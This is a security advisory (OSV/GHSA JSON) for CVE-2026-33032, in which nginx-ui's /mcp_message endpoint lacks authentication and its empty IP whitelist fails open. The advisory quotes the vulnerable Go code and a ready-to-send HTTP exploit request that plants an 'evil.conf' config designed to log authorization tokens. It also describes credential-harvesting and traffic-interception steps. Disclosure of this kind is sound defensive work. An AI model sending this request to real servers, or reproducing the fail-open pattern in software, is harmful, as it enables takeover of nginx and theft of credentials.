CVE-2026-33032: Github.com/0xJacky/Nginx UI Nginx-ui's Unauthenticated MCP Endpoint Allows Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h6c2-x2m2-mwhf",
  "modified" : "2026-04-27T14:19:19Z",
  "published" : "2026-03-30T16:43:13Z",
  "aliases" : [ "CVE-2026-33032" ],
  "summary" : "nginx-ui's Unauthenticated MCP Endpoint Allows Remote Nginx Takeover",
  "details" : "### Summary\nThe nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: `/mcp` and `/mcp_message`. While `/mcp` requires both IP whitelisting and authentication (`AuthRequired()` middleware), the `/mcp_message` endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as \"allow all\". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.\n\n### Details\n#### Vulnerable Code\n\n**`mcp/router.go:9-17` - Auth asymmetry between endpoints**\n\n```go\nfunc InitRouter(r *gin.Engine) {\n\tr.Any(\"/mcp\", middleware.IPWhiteList(), middleware.AuthRequired(),\n\t\tfunc(c *gin.Context) {\n\t\t\tmcp.ServeHTTP(c)\n\t\t})\n\tr.Any(\"/mcp_message\", middleware.IPWhiteList(),\n\t\tfunc(c *gin.Context) {\n\t\t\tmcp.ServeHTTP(c)\n\t\t})\n}\n```\n\nThe `/mcp` endpoint has `middleware.AuthRequired()`, but `/mcp_message` does not. Both endpoints route to the same `mcp.ServeHTTP()` handler, which processes all MCP tool invocations.\n\n**`internal/middleware/ip_whitelist.go:11-26` - Empty whitelist allows all**\n\n```go\nfunc IPWhiteList() gin.HandlerFunc {\n\treturn func(c *gin.Context) {\n\t\tclientIP := c.ClientIP()\n\t\tif len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == \"\" || clientIP == \"127.0.0.1\" || clientIP == \"::1\" {\n\t\t\tc.Next()\n\t\t\treturn\n\t\t}\n\t\t// ...\n\t}\n}\n```\n\nWhen `IPWhiteList` is empty (the default - `settings/auth.go` initializes `Auth{}` with no whitelist), the middleware allows all requests through. This is a fail-open design.\n\n#### Available MCP Tools (all invocable without auth)\n\nFrom `mcp/nginx/`:\n- `restart_nginx` - restart the nginx process\n- `reload_nginx` - reload nginx configuration\n- `nginx_status` - read nginx status\n\nFrom `mcp/config/`:\n- `nginx_config_add` - create new nginx config files\n- `nginx_config_modify` - modify existing config files\n- `nginx_config_list` - list all configurations\n- `nginx_config_get` - read config file contents\n- `nginx_config_enable` - enable/disable sites\n- `nginx_config_rename` - rename config files\n- `nginx_config_mkdir` - create directories\n- `nginx_config_history` - view config history\n- `nginx_config_base_path` - get nginx config directory path\n\n#### Attack Scenario\n\n1. Attacker sends HTTP requests to `http://target:9000/mcp_message` (default port)\n2. No authentication is required - IP whitelist is empty by default\n3. Attacker invokes `nginx_config_modify` with `relative_path=\"nginx.conf\"` to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs `Authorization` headers)\n4. `nginx_config_add` auto-reloads nginx (`config_add.go:74`), or attacker calls `reload_nginx` directly\n5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied\n\n\n### PoC\n**1. The auth asymmetry** is visible by comparing the two route registrations in `mcp/router.go`:\n\n```go\n// Line 10 - /mcp requires auth:\nr.Any(\"/mcp\", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) })\n\n// Line 14 - /mcp_message does NOT:\nr.Any(\"/mcp_message\", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) })\n```\n\nBoth call the same `mcp.ServeHTTP(c)` handler, which dispatches all tool invocations.\n\n**2. The IP whitelist defaults to empty**, allowing all IPs. From `settings/auth.go`:\n\n```go\nvar AuthSettings = &Auth{\n    BanThresholdMinutes: 10,\n    MaxAttempts:         10,\n    // IPWhiteList is not initialized - defaults to nil/empty slice\n}\n```\n\nAnd the middleware at `internal/middleware/ip_whitelist.go:14` passes all requests when the list is empty:\n\n```go\nif len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == \"\" || clientIP == \"127.0.0.1\" || clientIP == \"::1\" {\n    c.Next()\n    return\n}\n```\n\n**3. Config writes auto-reload nginx.** From `mcp/config/config_add.go`:\n\n```go\nerr := os.WriteFile(path, []byte(content), 0644)  // Line 69: write config file\n// ...\nres := nginx.Control(nginx.Reload)                 // Line 74: immediate reload\n```\n\n**4. Exploit request.** An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:\n\n```http\nPOST /mcp_message HTTP/1.1\nContent-Type: application/json\n\n{\n  \"jsonrpc\": \"2.0\",\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"nginx_config_add\",\n    \"arguments\": {\n      \"name\": \"evil.conf\",\n      \"content\": \"server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }\",\n      \"base_dir\": \"conf.d\",\n      \"overwrite\": true,\n      \"sync_node_ids\": []\n    }\n  },\n  \"id\": 1\n}\n```\n\nNo `Authorization` header is needed. The config is written and nginx reloads immediately.\n\n### Impact\n- **Complete nginx service takeover**: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart\n- **Traffic interception**: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit\n- **Service disruption**: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services\n- **Configuration exfiltration**: All existing nginx configs are readable via `nginx_config_get`, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers\n- **Credential harvesting**: By injecting `access_log` directives with custom `log_format` patterns, the attacker can capture `Authorization` headers from administrators accessing nginx-ui, enabling escalation to the REST API\n\n### Remediation\n\nAdd `middleware.AuthRequired()` to the `/mcp_message` route:\n\n```go\nr.Any(\"/mcp_message\", middleware.IPWhiteList(), middleware.AuthRequired(),\n    func(c *gin.Context) {\n        mcp.ServeHTTP(c)\n    })\n```\n\nAdditionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/0xJacky/Nginx-UI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.99"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33032"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/0xJacky/nginx-ui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/blob/f89f8ff8223478988f7ed49bf1d3dbf2de44bf92/internal/middleware/ip_whitelist.go#L11-L26"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/blob/f89f8ff8223478988f7ed49bf1d3dbf2de44bf92/mcp/router.go#L9-L17"
  }, {
    "type" : "WEB",
    "url" : "https://websec.net/blog/cve-2026-33032-unauthenticated-nginx-ui-mcp-takeover-69e1200f9fceb1f3fbe9c47f"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-30T16:43:13Z",
    "nvd_published_at" : "2026-03-30T18:16:19Z"
  }
}